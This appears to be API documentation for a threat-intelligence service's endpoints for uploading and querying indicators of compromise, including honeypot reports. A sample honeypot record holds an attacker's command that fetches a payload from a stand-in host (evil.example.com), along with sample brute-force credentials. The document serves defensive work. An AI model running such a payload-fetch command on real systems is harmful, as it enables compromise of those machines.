> ## Documentation Index
> Fetch the complete documentation index at: https://docs.panguard.ai/llms.txt
> Use this file to discover all available pages before exploring further.

# IoC Endpoints

> Upload threat intelligence and query Indicators of Compromise (IoCs) from the Threat Cloud.

The IoC (Indicators of Compromise) endpoints allow you to upload threat data from agents and query the collective intelligence database.

## POST /api/threats

Uploads threat data from an agent or external source. Supports both single and batch submissions.

<ParamField body="threats" type="object[]" required>
  Array of threat objects (maximum 100 per request).
</ParamField>

<ParamField body="threats[].type" type="string" required>
  IoC type: `ip`, `domain`, `hash`, `url`, `email`, `cve`.
</ParamField>

<ParamField body="threats[].value" type="string" required>
  The indicator value (e.g., IP address, domain name, file hash).
</ParamField>

<ParamField body="threats[].source" type="string" required>
  Source identifier (e.g., `guard-agent`, `honeypot`, `manual`).
</ParamField>

<ParamField body="threats[].category" type="string">
  Threat category: `malware`, `botnet`, `phishing`, `bruteforce`, `scanner`, `exploit`, `c2`.
</ParamField>

<ParamField body="threats[].severity" type="string">
  Severity: `low`, `medium`, `high`, `critical`.
</ParamField>

<ParamField body="threats[].confidence" type="number">
  Confidence score (0.0--1.0).
</ParamField>

<ParamField body="threats[].metadata" type="object">
  Additional metadata (ports, protocols, MITRE ATT\&CK IDs, etc.).
</ParamField>

<Tabs>
  <Tab title="Single Threat">
    ```bash theme={null}
    curl -X POST https://tc.panguard.ai/api/threats \
      -H "Authorization: Bearer YOUR_API_KEY" \
      -H "Content-Type: application/json" \
      -d '{
        "threats": [
          {
            "type": "ip",
            "value": "198.51.100.42",
            "source": "guard-agent",
            "category": "bruteforce",
            "severity": "high",
            "confidence": 0.95,
            "metadata": {
              "port": 22,
              "protocol": "ssh",
              "attempts": 500,
              "mitreId": "T1110"
            }
          }
        ]
      }'
    ```
  </Tab>

  <Tab title="Batch Upload">
    ```bash theme={null}
    curl -X POST https://tc.panguard.ai/api/threats \
      -H "Authorization: Bearer YOUR_API_KEY" \
      -H "Content-Type: application/json" \
      -d '{
        "threats": [
          {
            "type": "ip",
            "value": "198.51.100.42",
            "source": "guard-agent",
            "category": "bruteforce",
            "severity": "high"
          },
          {
            "type": "domain",
            "value": "malware-c2.example.net",
            "source": "honeypot",
            "category": "c2",
            "severity": "critical"
          },
          {
            "type": "hash",
            "value": "e3b0c44298fc1c149afbf4c8996fb924",
            "source": "guard-agent",
            "category": "malware",
            "severity": "critical"
          }
        ]
      }'
    ```
  </Tab>
</Tabs>

<ResponseExample>
  ```json 201 theme={null}
  {
    "ok": true,
    "data": {
      "received": 3,
      "new": 2,
      "updated": 1,
      "iocIds": ["ioc_a1b2", "ioc_c3d4", "ioc_e5f6"]
    }
  }
  ```
</ResponseExample>

<Info>
  Batch uploads accept up to **100 threats per request**. For larger volumes, split into multiple requests. Duplicate IoCs are automatically merged -- their reputation score, sighting count, and metadata are updated rather than creating duplicates.
</Info>

***

## POST /api/trap-intel

Submits intelligence gathered from Panguard Trap (honeypot) deployments. This data receives a higher confidence boost due to the nature of honeypot interactions.

<ParamField body="trapId" type="string" required>
  The honeypot instance identifier.
</ParamField>

<ParamField body="attackerIp" type="string" required>
  IP address of the attacker.
</ParamField>

<ParamField body="honeypotType" type="string" required>
  Type of honeypot: `ssh`, `http`, `ftp`, `smtp`, `custom`.
</ParamField>

<ParamField body="interactions" type="object[]" required>
  Array of attacker interaction records.
</ParamField>

<ParamField body="credentials" type="object[]">
  Credentials attempted by the attacker.
</ParamField>

<ParamField body="payloads" type="string[]">
  SHA-256 hashes of any payloads dropped.
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X POST https://tc.panguard.ai/api/trap-intel \
    -H "Authorization: Bearer YOUR_API_KEY" \
    -H "Content-Type: application/json" \
    -d '{
      "trapId": "trap-ssh-01",
      "attackerIp": "198.51.100.42",
      "honeypotType": "ssh",
      "interactions": [
        {
          "timestamp": "2026-03-07T08:00:00Z",
          "action": "login_attempt",
          "data": { "username": "root", "password": "admin123" }
        },
        {
          "timestamp": "2026-03-07T08:00:05Z",
          "action": "command_executed",
          "data": { "command": "wget http://evil.example.com/payload.sh" }
        }
      ],
      "credentials": [
        { "username": "root", "password": "admin123" },
        { "username": "admin", "password": "password" }
      ],
      "payloads": ["a7ffc6f8bf1ed76651c14756a061d662f580ff4de43b49fa82d80a4b80f8434a"]
    }'
  ```
</CodeGroup>

<ResponseExample>
  ```json 201 theme={null}
  {
    "ok": true,
    "data": {
      "iocId": "ioc_trap_x1y2",
      "reputationDelta": -15,
      "campaignMatch": "campaign_botnet_xyz"
    }
  }
  ```
</ResponseExample>

***

## GET /api/iocs

Searches the IoC database with filters.

<ParamField query="type" type="string">
  Filter by IoC type: `ip`, `domain`, `hash`, `url`, `email`, `cve`.
</ParamField>

<ParamField query="source" type="string">
  Filter by source (e.g., `guard-agent`, `honeypot`, `community`).
</ParamField>

<ParamField query="minReputation" type="number">
  Minimum reputation score (0--100, where 0 is most malicious).
</ParamField>

<ParamField query="maxReputation" type="number">
  Maximum reputation score.
</ParamField>

<ParamField query="status" type="string">
  Filter by status: `active`, `expired`, `whitelisted`.
</ParamField>

<ParamField query="category" type="string">
  Filter by threat category.
</ParamField>

<ParamField query="since" type="string">
  Return IoCs updated after this ISO 8601 timestamp.
</ParamField>

<ParamField query="page" type="number" default="1">
  Page number.
</ParamField>

<ParamField query="limit" type="number" default="50">
  Results per page (max 200).
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/iocs?type=ip&minReputation=0&maxReputation=30&status=active&limit=10" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```
</CodeGroup>

<ResponseExample>
  ```json 200 theme={null}
  {
    "ok": true,
    "data": [
      {
        "value": "198.51.100.42",
        "type": "ip",
        "reputation": 12,
        "category": "bruteforce",
        "source": "guard-agent",
        "sightings": 47,
        "firstSeen": "2026-02-15T10:00:00.000Z",
        "lastSeen": "2026-03-07T08:15:00.000Z",
        "status": "active",
        "metadata": {
          "ports": [22, 3389],
          "protocols": ["ssh", "rdp"],
          "mitreIds": ["T1110"]
        }
      }
    ],
    "pagination": {
      "total": 1423,
      "page": 1,
      "limit": 10,
      "pages": 143
    }
  }
  ```
</ResponseExample>

***

## GET /api/iocs/:value

Looks up a single IoC by its value. Supports IP addresses, domains, hashes, URLs, emails, and CVE IDs.

<ParamField path="value" type="string" required>
  The IoC value to look up. URL-encode if necessary.
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/iocs/198.51.100.42" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```
</CodeGroup>

<Tabs>
  <Tab title="200 Found">
    ```json theme={null}
    {
      "ok": true,
      "data": {
        "value": "198.51.100.42",
        "type": "ip",
        "reputation": 12,
        "category": "bruteforce",
        "sightings": 47,
        "firstSeen": "2026-02-15T10:00:00.000Z",
        "lastSeen": "2026-03-07T08:15:00.000Z",
        "status": "active",
        "sources": ["guard-agent", "honeypot", "community"],
        "campaigns": ["campaign_botnet_xyz"],
        "relatedIocs": [
          { "value": "malware-c2.example.net", "type": "domain", "relation": "contacted" }
        ],
        "metadata": {
          "asn": "AS64496",
          "country": "CN",
          "ports": [22, 3389],
          "mitreIds": ["T1110", "T1078"]
        }
      }
    }
    ```
  </Tab>

  <Tab title="404 Not Found">
    ```json theme={null}
    {
      "ok": true,
      "data": {
        "value": "192.0.2.1",
        "type": "ip",
        "reputation": 80,
        "status": "unknown",
        "sightings": 0,
        "message": "No threat data found for this indicator"
      }
    }
    ```
  </Tab>
</Tabs>

<Tip>
  The single lookup endpoint returns enriched data including related IoCs, campaign associations, and geographic metadata. Use this for detailed investigation of specific indicators.
</Tip>